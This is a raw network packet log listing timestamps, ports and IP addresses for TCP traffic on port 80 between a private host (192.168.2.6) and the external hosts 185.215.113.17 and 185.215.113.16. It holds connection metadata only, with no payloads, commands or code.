Dec 18, 2024 12:00:29.573997974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.574395895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.574440002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.574450016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.574528933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.575112104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.575165033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.575206041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.575242996 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.575876951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.575923920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.575928926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.575978041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.576752901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.576791048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.576831102 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.577399015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.577444077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.577470064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.577550888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.578269958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.578310013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.578361034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.578397036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.578892946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.578934908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.578993082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.579026937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.579658985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.579705000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.579778910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.579821110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.580405951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.580456018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.580620050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.580658913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.581110954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.581181049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.581216097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.581310987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.581891060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.581959963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.582082987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.582127094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.582631111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.582675934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.582839966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.583091974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.583489895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.583534002 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.583597898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.583642006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.584182024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.584286928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.584312916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.584949017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.584999084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.585047960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.585083961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.585743904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.585787058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.585819960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.585973978 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.586438894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.586484909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.586508036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.586602926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.587186098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.587229013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.587290049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.587326050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.587994099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.588041067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.588076115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.588110924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.588681936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.588725090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.588787079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.588819027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.589432955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.589548111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.589591980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.590265989 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.590317011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.590333939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.590405941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.590955973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.591000080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.591137886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.591175079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.591720104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.591758966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.591784000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.591818094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.592478037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.592526913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.592562914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.592597961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.593215942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.593261003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.593318939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.593485117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.593990088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.594034910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.594091892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.594161034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.594863892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.594911098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.594938993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.594988108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.595484972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.595530033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.595561981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.595601082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.596246958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.596290112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.596359015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.596394062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.596993923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.597037077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.597088099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.597228050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.597774982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.597814083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.597872972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.597908974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.598530054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.598572969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.598601103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.598695993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.599286079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.599329948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.599378109 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.599415064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.600094080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.600136995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.600169897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.600317955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.601311922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.601325035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.601365089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.725670099 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:29.726284027 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:29.751249075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.751287937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.751339912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.751511097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.751549006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.751612902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.751650095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.752327919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.752398968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.752405882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.752513885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.753222942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.753288984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.753422976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.753874063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.753917933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.753976107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.754007101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.754508018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.754559994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.754621029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.754673004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.755264997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.755305052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.755319118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.755435944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.756122112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.756232977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.756246090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.756297112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.756829023 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.756928921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.756958961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.757062912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.757590055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.757631063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.757668018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.757698059 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.758282900 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.758378983 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.758399963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.758418083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.759076118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.759124994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.759206057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.759238958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.759860039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.759912014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.759978056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.760011911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.760540009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.760597944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.760620117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.760726929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.761352062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.761415005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.761419058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.761626005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.762128115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.762191057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.762202024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.762234926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.762854099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.762943029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.762952089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.762974024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.763551950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.763609886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.763675928 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.763853073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.764370918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.764415979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.764496088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.764758110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.765124083 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.765177965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.765247107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.765444994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.765891075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.765933990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.765938997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.765968084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.766668081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.766696930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.766720057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.766740084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.767414093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.767477036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.767481089 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.767512083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.768208027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.768273115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.768310070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.768364906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.769427061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.769599915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.769617081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.769646883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.770404100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.770435095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.770452023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.770463943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.771006107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.771054029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.771084070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.771183968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.771567106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.771605015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.771738052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.771905899 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.772319078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.772368908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.772392988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.772427082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.773072004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.773139000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.773269892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.773315907 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.773910999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.774009943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.774060011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.774699926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.774817944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.774840117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.774868965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.775434971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.775487900 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.775551081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.775605917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.776202917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.776245117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.776290894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.776405096 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.777019024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.777069092 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.777122974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.777165890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.777998924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.778069019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.778084993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.778120041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.778644085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.778698921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.778785944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.778862000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.779333115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.779480934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.779489040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.779527903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.780137062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.780190945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.780268908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.780307055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.780895948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.780951023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.780983925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.781039953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.781446934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.781486988 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.781553030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.781599998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.782274008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.782372952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.782390118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.782469034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.782919884 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.782984018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.783024073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.783524036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.783577919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.783615112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.783653975 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.784183025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.784238100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.784251928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.784281015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.784746885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.784806967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.784849882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.784924984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.785521030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.785610914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.785639048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.785656929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.786267996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.786324024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.786351919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.786441088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.787044048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.787112951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.787122965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.787159920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.787795067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.787841082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.787914038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.788042068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.788536072 CET	80	49913	185.215.113.17	192.168.2.6
